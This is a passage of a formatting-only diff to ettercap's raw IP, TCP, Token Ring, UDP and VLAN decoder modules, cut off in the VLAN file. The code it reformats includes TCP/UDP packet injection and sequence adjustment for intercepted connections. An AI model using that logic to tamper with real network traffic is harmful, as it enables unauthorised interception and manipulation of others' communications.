+++ b/src/protocols/ec_rawip.c @@ -1,23 +1,23 @@ /* - ettercap -- Raw IP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- Raw IP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -44,15 +44,14 @@ void __init rawip_init(void) add_aligner(IL_TYPE_RAWIP, align_rawip); } - FUNC_DECODER(decode_rawip) { FUNC_DECODER_PTR(next_decoder); DECODED_LEN = 0; - /* - * there is no L2 header, it is raw ip, + /* + * there is no L2 header, it is raw ip, * so skip the L2 and invoke directly * the L3 dissector */ @@ -60,7 +59,7 @@ FUNC_DECODER(decode_rawip) PACKET->L2.proto = IL_TYPE_RAWIP; PACKET->L2.len = DECODED_LEN; - next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); + next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); EXECUTE_DECODER(next_decoder); return NULL; @@ -78,4 +77,3 @@ FUNC_ALIGNER(align_rawip) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_tcp.c b/src/protocols/ec_tcp.c index 7699e2196..050edf404 100644 --- a/src/protocols/ec_tcp.c +++ b/src/protocols/ec_tcp.c @@ -1,23 +1,23 @@ /* - ettercap -- TCP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- TCP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,22 +27,21 @@ #include #include - /* globals */ struct tcp_header { - u_int16 sport; /* source port */ - u_int16 dport; /* destination port */ - u_int32 seq; /* sequence number */ - u_int32 ack; /* acknowledgement number */ + u_int16 sport; /* source port */ + u_int16 dport; /* destination port */ + u_int32 seq; /* sequence number */ + u_int32 ack; /* acknowledgement number */ #ifndef WORDS_BIGENDIAN - u_int8 x2:4; /* (unused) */ - u_int8 off:4; /* data offset */ + u_int8 x2 : 4; /* (unused) */ + u_int8 off : 4; /* data offset */ #else - u_int8 off:4; /* data offset */ - u_int8 x2:4; /* (unused) */ + u_int8 off : 4; /* data offset */ + u_int8 x2 : 4; /* (unused) */ #endif - u_int8 flags; + u_int8 flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 @@ -51,9 +50,9 @@ struct tcp_header { #define TH_URG 0x20 #define TH_ECE 0x40 /* rfc 2481/3168 */ #define TH_CWR 0x80 /* rfc 2481/3168 */ - u_int16 win; /* window */ - u_int16 csum; /* checksum */ - u_int16 urp; /* urgent pointer */ + u_int16 win; /* window */ + u_int16 csum; /* checksum */ + u_int16 urp; /* urgent pointer */ }; /* tcp options */ @@ -64,12 +63,11 @@ struct tcp_header { #define TCPOPT_SACKOK 4 #define TCPOPT_TIMESTAMP 8 - -/* Session identifier +/* Session identifier * It has to be even-lengthed for session hash matching */ struct tcp_ident { u_int32 magic; - #define TCP_MAGIC 0x0400e77e +#define TCP_MAGIC 0x0400e77e struct ip_addr L3_src; struct ip_addr L3_dst; u_int16 L4_src; @@ -78,7 +76,6 @@ struct tcp_ident { #define TCP_IDENT_LEN sizeof(struct tcp_ident) - /* protos */ FUNC_DECODER(decode_tcp); @@ -100,7 +97,6 @@ void __init tcp_init(void) add_injector(CHAIN_ENTRY, NL_TYPE_TCP, inject_tcp); } - FUNC_DECODER(decode_tcp) { FUNC_DECODER_PTR(next_decoder); @@ -113,19 +109,19 @@ FUNC_DECODER(decode_tcp) u_int16 sum; tcp = (struct tcp_header *)DECODE_DATA; - + opt_start = (u_char *)(tcp + 1); - opt_end = (u_char*)tcp + tcp->off * 4; + opt_end = (u_char *)tcp + tcp->off * 4; DECODED_LEN = (u_int32)(tcp->off * 4); /* source and dest port */ PACKET->L4.src = tcp->sport; PACKET->L4.dst = tcp->dport; - + PACKET->L4.len = DECODED_LEN; PACKET->L4.header = (u_char *)DECODE_DATA; - + if (opt_start < opt_end) { PACKET->L4.options = opt_start; PACKET->L4.optlen = opt_end - opt_start; @@ -133,17 +129,17 @@ FUNC_DECODER(decode_tcp) PACKET->L4.options = NULL; PACKET->L4.optlen = 0; } - + /* this is TCP */ PACKET->L4.proto = NL_TYPE_TCP; - + /* save the flags */ PACKET->L4.flags = tcp->flags; /* save the seq number */ PACKET->L4.seq = tcp->seq; PACKET->L4.ack = tcp->ack; - + /* set up the data pointers */ PACKET->DATA.data = opt_end; if (PACKET->L3.payload_len < (u_int32)DECODED_LEN) @@ -152,9 +148,9 @@ FUNC_DECODER(decode_tcp) /* create the buffer to be displayed */ packet_disp_data(PACKET, PACKET->DATA.data, PACKET->DATA.len); - - /* - * if the checsum is wrong, don't parse it (avoid ettercap spotting) + + /* + * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum is should be CSUM_RESULT and not equal to tcp->csum ;) * * don't perform the check in unoffensive mode @@ -162,10 +158,10 @@ FUNC_DECODER(decode_tcp) if (GBL_CONF->checksum_check) { if (!GBL_OPTIONS->unoffensive && (sum = L4_checksum(PACKET)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; -#if defined(OS_DARWIN) || defined (OS_WINDOWS) || defined(OS_LINUX) - /* +#if defined(OS_DARWIN) || defined(OS_WINDOWS) || defined(OS_LINUX) + /* * XXX - hugly hack here ! Mac OS X really sux - * + * * Packets transmitted on interfaces with TCP checksum offloading * don't have valid checksums as presented to the machine's packet-capture * mechanism, as those packets are wrapped around internally rather @@ -179,80 +175,79 @@ FUNC_DECODER(decode_tcp) * * Same for Linux, but sometimes even ethtool doesnt turn this feature off. * - * if the source is the ettercap host, don't display the message + * if the source is the ettercap host, don't display the message */ if (ip_addr_is_ours(&PACKET->L3.src) == E_FOUND) return NULL; #endif if (GBL_CONF->checksum_warning) USER_MSG("Invalid TCP packet from %s:%d : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(tcp->sport), ntohs(tcp->csum), checksum_shouldbe(tcp->csum, sum)); + ntohs(tcp->sport), ntohs(tcp->csum), checksum_shouldbe(tcp->csum, sum)); return NULL; } } - - /* + + /* * complete the passive fingerprint (started at IP layer) * we are interested only in SYN or SYN+ACK packets * else we can destroy the fingerprint */ - if ( tcp->flags & TH_SYN ) { - + if (tcp->flags & TH_SYN) { + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_WINDOW, ntohs(tcp->win)); fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TCPFLAG, (tcp->flags & TH_ACK) ? 1 : 0); /* this is added to the len of ip header (automatic) */ fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_LT, tcp->off * 4); - + while (opt_start < opt_end) { switch (*opt_start) { - case TCPOPT_EOL: - /* end option EXIT */ - opt_start = opt_end; - break; - case TCPOPT_NOP: - fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_NOP, 1); - opt_start++; - break; - case TCPOPT_SACKOK: - fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_SACK, 1); - opt_start += 2; - break; - case TCPOPT_MAXSEG: - opt_start += 2; - fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_MSS, pntos(opt_start)); - opt_start += 2; - break; - case TCPOPT_WSCALE: - opt_start += 2; - fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_WS, *opt_start); - opt_start++; - break; - case TCPOPT_TIMESTAMP: - fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TIMESTAMP, 1); - opt_start++; - if ((*opt_start) > 0) - opt_start += ((*opt_start) - 1); - break; - default: - opt_start++; - if (*opt_start > 0) - opt_start += (*opt_start - 1); - break; + case TCPOPT_EOL: + /* end option EXIT */ + opt_start = opt_end; + break; + case TCPOPT_NOP: + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_NOP, 1); + opt_start++; + break; + case TCPOPT_SACKOK: + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_SACK, 1); + opt_start += 2; + break; + case TCPOPT_MAXSEG: + opt_start += 2; + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_MSS, pntos(opt_start)); + opt_start += 2; + break; + case TCPOPT_WSCALE: + opt_start += 2; + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_WS, *opt_start); + opt_start++; + break; + case TCPOPT_TIMESTAMP: + fingerprint_push(PACKET->PASSIVE.fingerprint, FINGER_TIMESTAMP, 1); + opt_start++; + if ((*opt_start) > 0) + opt_start += ((*opt_start) - 1); + break; + default: + opt_start++; + if (*opt_start > 0) + opt_start += (*opt_start - 1); + break; } } - } else { /* not an interesting packet */ memset(PACKET->PASSIVE.fingerprint, 0, FINGER_LEN); } - + /* HOOK POINT: HOOK_PACKET_TCP */ hook_point(HOOK_PACKET_TCP, po); /* don't save the sessions in unoffensive mode */ /* don't save sessions if no filters chain are defined */ if (GBL_FILTERS && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { - + /* Find or create the correct session */ tcp_create_ident(&ident, PACKET); if (session_get(&s, ident, TCP_IDENT_LEN) == -E_NOTFOUND) { @@ -262,67 +257,68 @@ FUNC_DECODER(decode_tcp) /* Trace the sessions for injectors */ SESSION_PASSTHRU(s, PACKET); - + /* Select right comunication way */ direction = tcp_find_direction(s->ident, ident); SAFE_FREE(ident); - + /* Record last packet's seq */ status = (struct tcp_status *)s->data; status->way[direction].last_seq = ntohl(tcp->seq) + PACKET->DATA.len; - if ( tcp->flags & TH_ACK ) + if (tcp->flags & TH_ACK) status->way[direction].last_ack = ntohl(tcp->ack); - + /* SYN counts as one byte */ - if ( tcp->flags & TH_SYN ) + if (tcp->flags & TH_SYN) status->way[direction].last_seq++; /* Take trace of the RST flag (to block injection) */ - if ( tcp->flags & TH_RST ) { - status->way[direction].injectable |= INJ_FIN; + if (tcp->flags & TH_RST) { + status->way[direction].injectable |= INJ_FIN; status->way[!direction].injectable |= INJ_FIN; } - + /* Take trace if this side of connection is mitm'd */ - if (PACKET->flags & PO_FORWARDABLE) - status->way[direction].injectable |= INJ_FWD; + if (PACKET->flags & PO_FORWARDABLE) + status->way[direction].injectable |= INJ_FWD; else if (status->way[direction].injectable & INJ_FWD) status->way[direction].injectable ^= INJ_FWD; - } - + } + /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); /* don't save the sessions in unoffensive mode */ if (GBL_FILTERS && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { - - /* - * Take trace of the FIN flag (to block injection) + + /* + * Take trace of the FIN flag (to block injection) * It's here to permit some strange tricks with filters. */ - if ( tcp->flags & TH_FIN ) + if (tcp->flags & TH_FIN) status->way[direction].injectable |= INJ_FIN; - - /* + + /* * Modification checks and adjustments. * - tcp->seq and tcp->ack accoridng to injected/dropped bytes - * - seq_adj according to PACKET->delta for modifications + * - seq_adj according to PACKET->delta for modifications * or the whole payload for dropped packets. * Don't adjust sequence if not forwardable. - */ - - /* XXX [...] over TCP encapsulation not supported yet: + */ + + /* XXX [...] over TCP encapsulation not supported yet: * upper layer may modify L3 structure */ - + if ((PACKET->flags & PO_DROPPED) && (PACKET->flags & PO_FORWARDABLE)) status->way[direction].seq_adj += PACKET->DATA.delta; - else if (((PACKET->flags & PO_MODIFIED) || - (status->way[direction].seq_adj != 0) || - (status->way[!direction].seq_adj != 0)) && - (PACKET->flags & PO_FORWARDABLE)) { - + else if (((PACKET->flags & PO_MODIFIED) || + (status->way[direction].seq_adj != 0) || + (status->way[!direction].seq_adj != 0)) && + (PACKET->flags & PO_FORWARDABLE)) + { + /* adjust with the previously injected/dropped seq/ack */ ORDER_ADD_LONG(tcp->seq, status->way[direction].seq_adj); ORDER_ADD_LONG(tcp->ack, -status->way[!direction].seq_adj); @@ -331,7 +327,7 @@ FUNC_DECODER(decode_tcp) status->way[direction].seq_adj += PACKET->DATA.delta; /* Recalculate checksum */ - tcp->csum = CSUM_INIT; + tcp->csum = CSUM_INIT; tcp->csum = L4_checksum(PACKET); } } @@ -349,11 +345,11 @@ FUNC_INJECTOR(inject_tcp) struct tcp_header *tcph; u_char *tcp_payload; u_int32 magic; - + /* Find the correct session */ tcp_create_ident(&ident, PACKET); if (session_get(&s, ident, TCP_IDENT_LEN) == -E_NOTFOUND) { - SAFE_FREE(ident); + SAFE_FREE(ident); return -E_NOTFOUND; } @@ -368,54 +364,54 @@ FUNC_INJECTOR(inject_tcp) tcph->sport = PACKET->L4.src; tcph->dport = PACKET->L4.dst; - tcph->x2 = 0; - tcph->off = 5; - tcph->win = htons(32120); - tcph->csum = CSUM_INIT; - tcph->urp = 0; - tcph->flags = TH_PSH; - + tcph->x2 = 0; + tcph->off = 5; + tcph->win = htons(32120); + tcph->csum = CSUM_INIT; + tcph->urp = 0; + tcph->flags = TH_PSH; + /* Take the rest of the data from the sessions */ status = (struct tcp_status *)s->data; direction = tcp_find_direction(s->ident, ident); - SAFE_FREE(ident); + SAFE_FREE(ident); /* Is this an injectable connection? */ - if ((status->way[direction].injectable & INJ_FIN) || !(status->way[direction].injectable & INJ_FWD) || !(status->way[!direction].injectable & INJ_FWD)) + if ((status->way[direction].injectable & INJ_FIN) || !(status->way[direction].injectable & INJ_FWD) || !(status->way[!direction].injectable & INJ_FWD)) return -E_NOTHANDLED; - + tcph->seq = htonl(status->way[direction].last_seq + status->way[direction].seq_adj); tcph->ack = htonl(status->way[direction].last_ack - status->way[!direction].seq_adj); - - if (status->way[direction].last_ack!=0) + + if (status->way[direction].last_ack != 0) tcph->flags |= TH_ACK; - + /* Prepare data for next injector */ PACKET->session = s->prev_session; - LENGTH += sizeof(struct tcp_header); + LENGTH += sizeof(struct tcp_header); memcpy(&magic, s->prev_session->ident, 4); /* Go deeper into injectors chain */ EXECUTE_INJECTOR(CHAIN_LINKED, magic); - - /* + + /* * Attach the data (LENGTH was adjusted by LINKED injectors). * Set LENGTH to injectable data len. */ LENGTH = GBL_IFACE->mtu - LENGTH; if (LENGTH > PACKET->DATA.inject_len) LENGTH = PACKET->DATA.inject_len; - memcpy(tcp_payload, PACKET->DATA.inject, LENGTH); - + memcpy(tcp_payload, PACKET->DATA.inject, LENGTH); + /* Update inject counter into the session */ status->way[direction].seq_adj += LENGTH; - + /* Calculate checksum */ PACKET->L4.header = (u_char *)tcph; PACKET->L4.len = sizeof(struct tcp_header); - PACKET->DATA.len = LENGTH; + PACKET->DATA.len = LENGTH; tcph->csum = L4_checksum(PACKET); - + return E_SUCCESS; } @@ -423,7 +419,6 @@ FUNC_INJECTOR(inject_tcp) /* Sessions' stuff for tcp packets */ - /* * create the ident for a session */ @@ -437,7 +432,7 @@ size_t tcp_create_ident(void **i, struct packet_object *po) /* the magic */ ident->magic = TCP_MAGIC; - + /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&ident->L3_dst, &po->L3.dst, sizeof(struct ip_addr)); @@ -452,7 +447,6 @@ size_t tcp_create_ident(void **i, struct packet_object *po) return sizeof(struct tcp_ident); } - /* * compare two session ident * @@ -467,32 +461,31 @@ int tcp_match(void *id_sess, void *id_curr) /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); - - /* + + /* * is this ident from our level ? * check the magic ! */ if (ids->magic != id->magic) return 0; - + /* from source to dest */ if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src) && - !ip_addr_cmp(&ids->L3_dst, &id->L3_dst) ) + !ip_addr_cmp(&ids->L3_dst, &id->L3_dst)) return 1; - + /* from dest to source */ if (ids->L4_src == id->L4_dst && ids->L4_dst == id->L4_src && !ip_addr_cmp(&ids->L3_src, &id->L3_dst) && - !ip_addr_cmp(&ids->L3_dst, &id->L3_src) ) + !ip_addr_cmp(&ids->L3_dst, &id->L3_src)) return 1; return 0; } - /* * prepare the ident and the pointer to match function * for a dissector. @@ -506,10 +499,10 @@ void tcp_create_session(struct ec_session **s, struct packet_object *po) /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); - + /* create the ident */ (*s)->ident_len = tcp_create_ident(&ident, po); - + /* link to the session */ (*s)->ident = ident; @@ -523,16 +516,15 @@ void tcp_create_session(struct ec_session **s, struct packet_object *po) /* * Find right comunication way for session data. * First array data is relative to the direction first caught. - */ + */ int tcp_find_direction(void *ids, void *id) { - if (memcmp(ids, id, TCP_IDENT_LEN)) + if (memcmp(ids, id, TCP_IDENT_LEN)) return 1; - + return 0; -} +} /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_tr.c b/src/protocols/ec_tr.c index d14573e89..4a6490218 100644 --- a/src/protocols/ec_tr.c +++ b/src/protocols/ec_tr.c @@ -1,23 +1,23 @@ /* - ettercap -- TOKEN RING decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- TOKEN RING decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,23 +25,22 @@ #include /* globals */ -struct token_ring_header -{ - u_int8 access_control; - #define TR_FRAME 0x10 - u_int8 frame_control; - #define TR_LLC_FRAME 0x40 - u_int8 dha[TR_ADDR_LEN]; - u_int8 sha[TR_ADDR_LEN]; - u_int8 llc_dsap; - u_int8 llc_ssap; - u_int8 llc_control; - u_int8 llc_org_code[3]; +struct token_ring_header { + u_int8 access_control; +#define TR_FRAME 0x10 + u_int8 frame_control; +#define TR_LLC_FRAME 0x40 + u_int8 dha[TR_ADDR_LEN]; + u_int8 sha[TR_ADDR_LEN]; + u_int8 llc_dsap; + u_int8 llc_ssap; + u_int8 llc_control; + u_int8 llc_org_code[3]; u_int16 proto; }; /* encapsulated ethernet */ -u_int8 TR_ORG_CODE[3] = {0x00, 0x00, 0x00}; +u_int8 TR_ORG_CODE[3] = { 0x00, 0x00, 0x00 }; /* protos */ @@ -64,57 +63,55 @@ void __init tr_init(void) add_aligner(IL_TYPE_TR, align_tr); } - FUNC_DECODER(decode_tr) { FUNC_DECODER_PTR(next_decoder); struct token_ring_header *tr; DECODED_LEN = sizeof(struct token_ring_header); - + tr = (struct token_ring_header *)DECODE_DATA; /* org_code != encapsulated ethernet not yet supported */ if (memcmp(tr->llc_org_code, TR_ORG_CODE, 3)) NOT_IMPLEMENTED(); - + /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_TR; PACKET->L2.len = DECODED_LEN; - + memcpy(PACKET->L2.src, tr->sha, TR_ADDR_LEN); memcpy(PACKET->L2.dst, tr->dha, TR_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_tr */ hook_point(HOOK_PACKET_TR, po); - - /* leave the control to the next decoder */ + + /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(tr->proto)); EXECUTE_DECODER(next_decoder); - + /* token ring header does not care about modification of upper layer */ - + return NULL; } /* - * function to create a token ring header + * function to create a token ring header */ FUNC_BUILDER(build_tr) { return libnet_autobuild_token_ring( - LIBNET_TOKEN_RING_FRAME, - LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ - dst, /* token ring destination */ - LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ - LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ - 0x03, /* Unnumbered info/frame */ - TR_ORG_CODE, /* Organization Code */ - proto, /* protocol type */ - l); /* libnet handle */ - + LIBNET_TOKEN_RING_FRAME, + LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ + dst, /* token ring destination */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + TR_ORG_CODE, /* Organization Code */ + proto, /* protocol type */ + l); /* libnet handle */ } /* @@ -122,10 +119,9 @@ FUNC_BUILDER(build_tr) */ FUNC_ALIGNER(align_tr) { - return (24 - sizeof(struct token_ring_header)); + return 24 - sizeof(struct token_ring_header); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_udp.c b/src/protocols/ec_udp.c index 759db948a..5ed6519fc 100644 --- a/src/protocols/ec_udp.c +++ b/src/protocols/ec_udp.c @@ -1,23 +1,23 @@ /* - ettercap -- UDP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- UDP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,10 +27,10 @@ /* globals */ struct udp_header { - u_int16 sport; /* source port */ - u_int16 dport; /* destination port */ - u_int16 ulen; /* udp length */ - u_int16 csum; /* udp checksum */ + u_int16 sport; /* source port */ + u_int16 dport; /* destination port */ + u_int16 ulen; /* udp length */ + u_int16 csum; /* udp checksum */ }; /* protos */ @@ -52,7 +52,6 @@ void __init udp_init(void) add_injector(CHAIN_ENTRY, NL_TYPE_UDP, inject_udp); } - FUNC_DECODER(decode_udp) { FUNC_DECODER_PTR(next_decoder); @@ -70,23 +69,23 @@ FUNC_DECODER(decode_udp) PACKET->L4.len = DECODED_LEN; PACKET->L4.header = (u_char *)DECODE_DATA; PACKET->L4.options = NULL; - + /* this is UDP */ PACKET->L4.proto = NL_TYPE_UDP; /* set up the data poiters */ PACKET->DATA.data = ((u_char *)udp) + sizeof(struct udp_header); /* check for bogus len */ - if (ntohs(udp->ulen) < (u_int16)sizeof(struct udp_header) || + if (ntohs(udp->ulen) < (u_int16)sizeof(struct udp_header) || ntohs(udp->ulen) > PACKET->L3.payload_len) return NULL; PACKET->DATA.len = ntohs(udp->ulen) - (u_int16)sizeof(struct udp_header); - + /* create the buffer to be displayed */ packet_disp_data(PACKET, PACKET->DATA.data, PACKET->DATA.len); - /* - * if the checsum is wrong, don't parse it (avoid ettercap spotting) + /* + * if the checsum is wrong, don't parse it (avoid ettercap spotting) * the checksum is should be CSUM_RESULT and not equal to udp->csum ;) * * don't perform the check in unoffensive mode @@ -95,9 +94,9 @@ FUNC_DECODER(decode_udp) if (!GBL_OPTIONS->unoffensive && (sum = L4_checksum(PACKET)) != CSUM_RESULT) { char tmp[MAX_ASCII_ADDR_LEN]; #if defined(OS_DARWIN) || defined(OS_WINDOWS) || defined(OS_LINUX) - /* + /* * XXX - hugly hack here ! Mac OS X really sux - * + * * Packets transmitted on interfaces with TCP checksum offloading * don't have valid checksums as presented to the machine's packet-capture * mechanism, as those packets are wrapped around internally rather @@ -105,30 +104,30 @@ FUNC_DECODER(decode_udp) * the OS doesn't bother computing the checksum and adding it to the packet * it leaves that up to the network interface. * (taken from a bug report by Guy Harris - libpcap engineer) - * + * * For Windows at least, TCP checksum off-loading can be disabled with a * registry setting. * - * if the source is the ettercap host, don't display the message + * if the source is the ettercap host, don't display the message */ if (ip_addr_is_ours(&PACKET->L3.src) != E_FOUND) return NULL; #endif if (GBL_CONF->checksum_warning) USER_MSG("Invalid UDP packet from %s:%d : csum [%#x] should be (%#x)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(udp->sport), ntohs(udp->csum), checksum_shouldbe(udp->csum, sum)); + ntohs(udp->sport), ntohs(udp->csum), checksum_shouldbe(udp->csum, sum)); return NULL; } } /* HOOK POINT: HOOK_PACKET_UDP */ hook_point(HOOK_PACKET_UDP, po); - + /* get the next decoder */ - next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); + next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); - - /* + + /* * in unoffensive mode the filters don't touch * the packet, so we don't have to check here * for unoffensive option @@ -136,9 +135,9 @@ FUNC_DECODER(decode_udp) /* Adjustments after filters */ if ((PACKET->flags & PO_MODIFIED) && (PACKET->flags & PO_FORWARDABLE)) { - + /* Recalculate checksum */ - udp->csum = CSUM_INIT; + udp->csum = CSUM_INIT; udp->csum = L4_checksum(PACKET); } @@ -151,7 +150,7 @@ FUNC_INJECTOR(inject_udp) { struct udp_header *udph; u_char *udp_payload; - + /* Rember where the payload has to start */ udp_payload = PACKET->packet; @@ -163,36 +162,35 @@ FUNC_INJECTOR(inject_udp) udph->sport = PACKET->L4.src; udph->dport = PACKET->L4.dst; - udph->csum = CSUM_INIT; - - /* - * Go deeper into injectors chain. + udph->csum = CSUM_INIT; + + /* + * Go deeper into injectors chain. * XXX We assume next layer is IP. */ - LENGTH += sizeof(struct udp_header); + LENGTH += sizeof(struct udp_header); PACKET->session = NULL; EXECUTE_INJECTOR(CHAIN_LINKED, STATELESS_IP_MAGIC); - /* + /* * Attach the data (LENGTH was adjusted by LINKED injectors). * Set LENGTH to injectable data len. */ LENGTH = GBL_IFACE->mtu - LENGTH; if (LENGTH > PACKET->DATA.inject_len) LENGTH = PACKET->DATA.inject_len; - memcpy(udp_payload, PACKET->DATA.inject, LENGTH); + memcpy(udp_payload, PACKET->DATA.inject, LENGTH); /* Set datagram len and calculate checksum */ PACKET->L4.header = (u_char *)udph; PACKET->L4.len = sizeof(struct udp_header); - PACKET->DATA.len = LENGTH; + PACKET->DATA.len = LENGTH; udph->ulen = htons(PACKET->DATA.len + PACKET->L4.len); udph->csum = L4_checksum(PACKET); - + return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_vlan.c b/src/protocols/ec_vlan.c index af7fa1aed..f2c9c3ebc 100644 --- a/src/protocols/ec_vlan.c +++ b/src/protocols/ec_vlan.c @@ -1,23 +1,23 @@ /* - ettercap -- VLAN (802.1q) decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- VLAN (802.1q) decoder module + * + * Copyright (C) 